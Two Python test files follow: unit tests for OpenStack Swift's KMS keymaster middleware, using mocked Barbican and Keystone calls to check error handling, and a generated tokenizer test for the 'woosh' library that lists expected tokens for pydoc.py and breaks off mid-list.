key_id): # If authentication fails, raise an exception here. if (TEST_KMS_KEYMASTER_CONF['username'] != ctxt.username or TEST_KMS_KEYMASTER_CONF['password'] != ctxt.password or TEST_KMS_KEYMASTER_CONF['user_domain_name'] != ctxt.user_domain_name): raise Unauthorized( message='The request you have made requires authentication.', http_status=401) elif self.conf['auth_endpoint'] == TEST_KMS_CONNECT_FAILURE_URL: raise ConnectFailure('Unable to establish connection') elif self.conf['auth_endpoint'] == TEST_KMS_NON_BARBICAN_URL: raise DiscoveryFailure( 'Could not determine a suitable URL for the plugin') elif (self.conf['auth_endpoint'] != TEST_KMS_KEYMASTER_CONF['auth_endpoint']): raise Unauthorized( message='Cannot authorize API client.') elif (key_id == TEST_KMS_NONEXISTENT_KEY_ID): message = ERR_MESSAGE_KEY_UUID_NOT_FOUND + key_id ''' Raising a ManagedObjectNotFoundError would require importing it from castellan.common.exception. To avoid this import, raising a general Exception. ''' raise Exception(message) elif key_id == TEST_KMS_INVALID_KEY_ID: raise ValueError(ERR_MESSAGE_SECRET_INCORRECTLY_SPECIFIED) elif key_id == TEST_KMS_NONE_KEY_ID: return None return MockBarbicanKey(b'x' * 32, key_id) class MockBarbicanKey(object): def __init__(self, key_material, key_id): self.key_material = key_material self.bit_length = len(key_material) * 8 if key_id == TEST_KMS_OPAQUE_KEY_ID: self.format = 'Opaque' else: self.format = 'RAW' self.algorithm = "aes" if key_id == TEST_KMS_DES_KEY_ID: self.format = 'des' if key_id == TEST_KMS_SHORT_KEY_ID: self.bit_length = 128 self.key_material[:128] def get_encoded(self): return self.key_material def format(self): return self.format class MockPassword(object): def __init__(self, username, password, project_name, user_domain_name, project_domain_name, user_id, user_domain_id, trust_id, domain_id, domain_name, project_id, project_domain_id, reauthenticate): self.password = password self.username = username self.user_domain_name = user_domain_name self.project_name = project_name self.project_domain_name = project_domain_name self.user_id = user_id, self.user_domain_id = user_domain_id, self.trust_id = trust_id, self.domain_id = domain_id, self.domain_name = domain_name, self.project_id = project_id, self.project_domain_id = project_domain_id, self.reauthenticate = reauthenticate class TestKmsKeymaster(unittest.TestCase): """ Unit tests for storing the encryption root secret in a Barbican external key management system accessed using Castellan. """ def setUp(self): super(TestKmsKeymaster, self).setUp() self.swift = FakeSwift() """ Tests using the v3 Identity API, where all calls to Barbican are mocked. """ @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch.object(kms_keymaster.KmsKeyMaster, '_get_root_secret') def test_filter_v3(self, mock_get_root_secret_from_kms, mock_readconf): mock_get_root_secret_from_kms.return_value = ( base64.b64encode(b'x' * 32)) mock_readconf.return_value = TEST_KMS_KEYMASTER_CONF factory = kms_keymaster.filter_factory(TEST_KMS_KEYMASTER_CONF) self.assertTrue(callable(factory)) self.assertTrue(callable(factory(self.swift))) @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch.object(kms_keymaster.KmsKeyMaster, '_get_root_secret') def test_app_exception_v3(self, mock_get_root_secret_from_kms, mock_readconf): mock_get_root_secret_from_kms.return_value = ( base64.b64encode(b'x' * 32)) mock_readconf.return_value = TEST_KMS_KEYMASTER_CONF app = kms_keymaster.KmsKeyMaster( FakeAppThatExcepts(), TEST_KMS_KEYMASTER_CONF) req = Request.blank('/', environ={'REQUEST_METHOD': 'PUT'}) start_response, _ = capture_start_response() self.assertRaises(Exception, app, req.environ, start_response) @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch.object(kms_keymaster.KmsKeyMaster, '_get_root_secret') def test_get_root_secret( self, mock_get_root_secret_from_kms, mock_readconf): # Successful call with coarse _get_root_secret_from_kms() mock. mock_get_root_secret_from_kms.return_value = ( base64.b64encode(b'x' * 32)) ''' Return valid Barbican configuration parameters. ''' mock_readconf.return_value = TEST_KMS_KEYMASTER_CONF ''' Verify that keys are derived correctly by the keymaster. ''' self.app = kms_keymaster.KmsKeyMaster(self.swift, TEST_KMS_KEYMASTER_CONF) ''' Verify that _get_root_secret_from_kms() was called with the correct parameters. ''' mock_get_root_secret_from_kms.assert_called_with( TEST_KMS_KEYMASTER_CONF ) @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Successful call with finer grained mocks. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return valid Barbican configuration parameters. ''' mock_readconf.return_value = TEST_KMS_KEYMASTER_CONF ''' Verify that no exceptions are raised by the mocked functions. ''' try: self.app = kms_keymaster.KmsKeyMaster(self.swift, TEST_KMS_KEYMASTER_CONF) except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_key_id( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Invalid key ID. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_INVALID_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though key id invalid') except ValueError as e: self.assertEqual(e.message, ERR_MESSAGE_SECRET_INCORRECTLY_SPECIFIED) except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_nonexistent_key_id( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Nonexistent key. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_NONEXISTENT_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though key id invalid') except Exception as e: expected_message = ('Key not found, uuid: ' + TEST_KMS_NONEXISTENT_KEY_ID) self.assertEqual(e.message, expected_message) @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_key_format( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Nonexistent key. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_OPAQUE_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though key format invalid') except ValueError: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_config_file_and_params( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Both external config file and config parameters specified. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['keymaster_config_path'] = ( 'PATH_TO_KEYMASTER_CONFIG_FILE' ) mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster(self.swift, kms_conf) raise Exception('Success even though config invalid') except Exception as e: expected_message = ('keymaster_config_path is set, but there are ' 'other config options specified:') self.assertTrue(e.message.startswith(expected_message), "Error message does not start with '%s'" % expected_message) @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_username( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Invalid username. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['username'] = 'invaliduser' mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though username invalid') except Unauthorized as e: self.assertEqual(e.http_status, 401) except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_password( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Invalid password. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['password'] = 'invalidpassword' mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though password invalid') except Unauthorized as e: self.assertEqual(e.http_status, 401) except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_connect_failure_auth_url( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Connect failure kms auth_url. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['auth_endpoint'] = TEST_KMS_CONNECT_FAILURE_URL mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though auth_url invalid') except ConnectFailure: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_bad_auth_url( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Bad kms auth_url. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['auth_endpoint'] = TEST_KMS_NON_BARBICAN_URL mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though auth_url invalid') except DiscoveryFailure: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_bad_user_domain_name( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Bad user domain name with mocks. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['user_domain_name'] = ( TEST_KMS_INVALID_USER_DOMAIN_NAME) mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though api_version invalid') except Unauthorized as e: self.assertEqual(e.http_status, 401) except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_key_algorithm( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Nonexistent key. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_DES_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though key format invalid') except ValueError: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_invalid_key_length( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Nonexistent key. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_SHORT_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though key format invalid') except ValueError: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise @mock.patch('swift.common.middleware.crypto.kms_keymaster.' 'keystone_password.KeystonePassword') @mock.patch('swift.common.middleware.crypto.kms_keymaster.cfg') @mock.patch('swift.common.middleware.crypto.kms_keymaster.options') @mock.patch('swift.common.middleware.crypto.kms_keymaster.readconf') @mock.patch('swift.common.middleware.crypto.kms_keymaster.key_manager') def test_mocked_castellan_keymanager_none_key( self, mock_castellan_key_manager, mock_readconf, mock_castellan_options, mock_oslo_config, mock_keystone_password): # Nonexistent key. mock_keystone_password.side_effect = ( mock_keystone_password_side_effect) ''' Set side_effect functions. ''' mock_castellan_key_manager.API.side_effect = ( mock_castellan_api_side_effect) mock_castellan_options.set_defaults.side_effect = ( mock_options_set_defaults_side_effect) mock_oslo_config.ConfigOpts.side_effect = ( mock_config_opts_side_effect) ''' Return invalid Barbican configuration parameters. ''' kms_conf = dict(TEST_KMS_KEYMASTER_CONF) kms_conf['key_id'] = TEST_KMS_NONE_KEY_ID mock_readconf.return_value = kms_conf ''' Verify that an exception is raised by the mocked function. ''' try: self.app = kms_keymaster.KmsKeyMaster( self.swift, TEST_PROXYSERVER_CONF_EXTERNAL_KEYMASTER_CONF) raise Exception('Success even though None key returned') except ValueError: pass except Exception: print("Unexpected error: %s" % sys.exc_info()[0]) raise if __name__ == '__main__': unittest.main()

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a2fbb305ec54cbefe2e9ebae01a8962af04f3660

1,007,795

py

Python

test/python/sample/stdlib/test_pydoc.py

esoma/woosh

4cd58eb93c69c48040ff1e25159e48def54c3111

[ "MIT" ]

null

test/python/sample/stdlib/test_pydoc.py

esoma/woosh

4cd58eb93c69c48040ff1e25159e48def54c3111

[ "MIT" ]

null

test/python/sample/stdlib/test_pydoc.py

esoma/woosh

4cd58eb93c69c48040ff1e25159e48def54c3111

[ "MIT" ]

null

# this file was generated using test/python/sample/generate.py # python import io import pathlib # pytest import pytest # woosh import woosh def tokenize_file_like(source): return list(woosh.tokenize(io.BytesIO(source))) def tokenize_bytes(source): return list(woosh.tokenize(source)) SAMPLE_DIR = pathlib.Path(__file__).parent.absolute() / '../../' / '../../' / 'sample' @pytest.mark.parametrize('tokenize', [tokenize_file_like, tokenize_bytes]) def test(tokenize): with open(SAMPLE_DIR / 'stdlib/pydoc.py', 'rb') as f: tokens = tokenize(f.read()) for token, expected in zip(tokens, EXPECTED): assert token == expected EXPECTED = [ woosh.Token(woosh.ENCODING, 'utf-8', 1, 0, 1, 0), woosh.Token(woosh.COMMENT, '#!/usr/bin/env python3', 1, 0, 1, 22), woosh.Token(woosh.STRING, '"""Generate Python documentation in HTML or text for interactive use.\r\n\r\nAt the Python interactive prompt, calling help(thing) on a Python object\r\ndocuments the object, and calling help() starts up an interactive\r\nhelp session.\r\n\r\nOr, at the shell command line outside of Python:\r\n\r\nRun "pydoc <name>" to show documentation on something. <name> may be\r\nthe name of a function, module, package, or a dotted reference to a\r\nclass or function within a module or module in a package. If the\r\nargument contains a path segment delimiter (e.g. slash on Unix,\r\nbackslash on Windows) it is treated as the path to a Python source file.\r\n\r\nRun "pydoc -k <keyword>" to search for a keyword in the synopsis lines\r\nof all available modules.\r\n\r\nRun "pydoc -n <hostname>" to start an HTTP server with the given\r\nhostname (default: localhost) on the local machine.\r\n\r\nRun "pydoc -p <port>" to start an HTTP server on the given port on the\r\nlocal machine. Port number 0 can be used to get an arbitrary unused port.\r\n\r\nRun "pydoc -b" to start an HTTP server on an arbitrary unused port and\r\nopen a Web browser to interactively browse documentation. Combine with\r\nthe -n and -p options to control the hostname and port used.\r\n\r\nRun "pydoc -w <name>" to write out the HTML documentation for a module\r\nto a file named "<name>.html".\r\n\r\nModule docs for core modules are assumed to be in\r\n\r\n https://docs.python.org/X.Y/library/\r\n\r\nThis can be overridden by setting the PYTHONDOCS environment variable\r\nto a different URL or to a local directory containing the Library\r\nReference Manual pages.\r\n"""', 2, 0, 39, 3), woosh.Token(woosh.NEWLINE, '\r\n', 39, 3, 40, 0), woosh.Token(woosh.NAME, '__all__', 40, 0, 40, 7), woosh.Token(woosh.OP, '=', 40, 8, 40, 9), woosh.Token(woosh.OP, '[', 40, 10, 40, 11), woosh.Token(woosh.STRING, "'help'", 40, 11, 40, 17), woosh.Token(woosh.OP, ']', 40, 17, 40, 18), woosh.Token(woosh.NEWLINE, '\r\n', 40, 18, 41, 0), woosh.Token(woosh.NAME, '__author__', 41, 0, 41, 10), woosh.Token(woosh.OP, '=', 41, 11, 41, 12), woosh.Token(woosh.STRING, '"Ka-Ping Yee <ping@lfw.org>"', 41, 13, 41, 41), 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14), woosh.Token(woosh.NAME, 'ok', 906, 15, 906, 17), woosh.Token(woosh.OP, ':', 906, 17, 906, 18), woosh.Token(woosh.NEWLINE, '\r\n', 906, 18, 907, 0), woosh.Token(woosh.INDENT, ' ', 907, 0, 907, 16), woosh.Token(woosh.NAME, 'hr', 907, 16, 907, 18), woosh.Token(woosh.OP, '.', 907, 18, 907, 19), woosh.Token(woosh.NAME, 'maybe', 907, 19, 907, 24), woosh.Token(woosh.OP, '(', 907, 24, 907, 25), woosh.Token(woosh.OP, ')', 907, 25, 907, 26), woosh.Token(woosh.NEWLINE, '\r\n', 907, 26, 908, 0), woosh.Token(woosh.NAME, 'push', 908, 16, 908, 20), woosh.Token(woosh.OP, '(', 908, 20, 908, 21), woosh.Token(woosh.NAME, 'msg', 908, 21, 908, 24), woosh.Token(woosh.OP, ')', 908, 24, 908, 25), woosh.Token(woosh.NEWLINE, '\r\n', 908, 25, 909, 0), woosh.Token(woosh.NAME, 'for', 909, 16, 909, 19), woosh.Token(woosh.NAME, 'name', 909, 20, 909, 24), woosh.Token(woosh.OP, ',', 909, 24, 909, 25), woosh.Token(woosh.NAME, 'kind', 909, 26, 909, 30), woosh.Token(woosh.OP, ',', 909, 30, 909, 31), woosh.Token(woosh.NAME, 'homecls', 909, 32, 909, 39), woosh.Token(woosh.OP, ',', 909, 39, 909, 40), woosh.Token(woosh.NAME, 'value', 909, 41, 909, 46), woosh.Token(woosh.NAME, 'in', 909, 47, 909, 49), woosh.Token(woosh.NAME, 'ok', 909, 50, 909, 52), woosh.Token(woosh.OP, ':', 909, 52, 909, 53), woosh.Token(woosh.NEWLINE, '\r\n', 909, 53, 910, 0), woosh.Token(woosh.INDENT, ' ', 910, 0, 910, 20), woosh.Token(woosh.NAME, 'push', 910, 20, 910, 24), woosh.Token(woosh.OP, '(', 910, 24, 910, 25), woosh.Token(woosh.NAME, 'self', 910, 25, 910, 29), woosh.Token(woosh.OP, '.', 910, 29, 910, 30), woosh.Token(woosh.NAME, 'docdata', 910, 30, 910, 37), woosh.Token(woosh.OP, '(', 910, 37, 910, 38), woosh.Token(woosh.NAME, 'value', 910, 38, 910, 43), woosh.Token(woosh.OP, ',', 910, 43, 910, 44), woosh.Token(woosh.NAME, 'name', 910, 45, 910, 49), woosh.Token(woosh.OP, ',', 910, 49, 910, 50), woosh.Token(woosh.NAME, 'mod', 910, 51, 910, 54), woosh.Token(woosh.OP, ')', 910, 54, 910, 55), woosh.Token(woosh.OP, ')', 910, 55, 910, 56), woosh.Token(woosh.NEWLINE, '\r\n', 910, 56, 911, 0), woosh.Token(woosh.DEDENT, ' ', 911, 0, 911, 12), woosh.Token(woosh.DEDENT, '', 911, 12, 911, 12), woosh.Token(woosh.NAME, 'return', 911, 12, 911, 18), woosh.Token(woosh.NAME, 'attrs', 911, 19, 911, 24), woosh.Token(woosh.NEWLINE, '\r\n', 911, 24, 912, 0), woosh.Token(woosh.DEDENT, ' ', 913, 0, 913, 8), woosh.Token(woosh.NAME, 'def', 913, 8, 913, 11), woosh.Token(woosh.NAME, 'spilldata', 913, 12, 913, 21), woosh.Token(woosh.OP, '(', 913, 21, 913, 22), woosh.Token(woosh.NAME, 'msg', 913, 22, 913, 25), woosh.Token(woosh.OP, ',', 913, 25, 913, 26), woosh.Token(woosh.NAME, 'attrs', 913, 27, 913, 32), woosh.Token(woosh.OP, ',', 913, 32, 913, 33), woosh.Token(woosh.NAME, 'predicate', 913, 34, 913, 43), woosh.Token(woosh.OP, ')', 913, 43, 913, 44), woosh.Token(woosh.OP, ':', 913, 44, 913, 45), woosh.Token(woosh.NEWLINE, '\r\n', 913, 45, 914, 0), woosh.Token(woosh.INDENT, ' ', 914, 0, 914, 12), woosh.Token(woosh.NAME, 'ok', 914, 12, 914, 14), woosh.Token(woosh.OP, ',', 914, 14, 914, 15), woosh.Token(woosh.NAME, 'attrs', 914, 16, 914, 21), woosh.Token(woosh.OP, '=', 914, 22, 914, 23), woosh.Token(woosh.NAME, '_split_list', 914, 24, 914, 35), woosh.Token(woosh.OP, '(', 914, 35, 914, 36), woosh.Token(woosh.NAME, 'attrs', 914, 36, 914, 41), woosh.Token(woosh.OP, ',', 914, 41, 914, 42), woosh.Token(woosh.NAME, 'predicate', 914, 43, 914, 52), woosh.Token(woosh.OP, ')', 914, 52, 914, 53), woosh.Token(woosh.NEWLINE, '\r\n', 914, 53, 915, 0), woosh.Token(woosh.NAME, 'if', 915, 12, 915, 14), woosh.Token(woosh.NAME, 'ok', 915, 15, 915, 17), woosh.Token(woosh.OP, ':', 915, 17, 915, 18), woosh.Token(woosh.NEWLINE, '\r\n', 915, 18, 916, 0), woosh.Token(woosh.INDENT, ' ', 916, 0, 916, 16), woosh.Token(woosh.NAME, 'hr', 916, 16, 916, 18), woosh.Token(woosh.OP, '.', 916, 18, 916, 19), woosh.Token(woosh.NAME, 'maybe', 916, 19, 916, 24), woosh.Token(woosh.OP, '(', 916, 24, 916, 25), woosh.Token(woosh.OP, ')', 916, 25, 916, 26), woosh.Token(woosh.NEWLINE, '\r\n', 916, 26, 917, 0), woosh.Token(woosh.NAME, 'push', 917, 16, 917, 20), woosh.Token(woosh.OP, '(', 917, 20, 917, 21), woosh.Token(woosh.NAME, 'msg', 917, 21, 917, 24), woosh.Token(woosh.OP, ')', 917, 24, 917, 25), woosh.Token(woosh.NEWLINE, '\r\n', 917, 25, 918, 0), 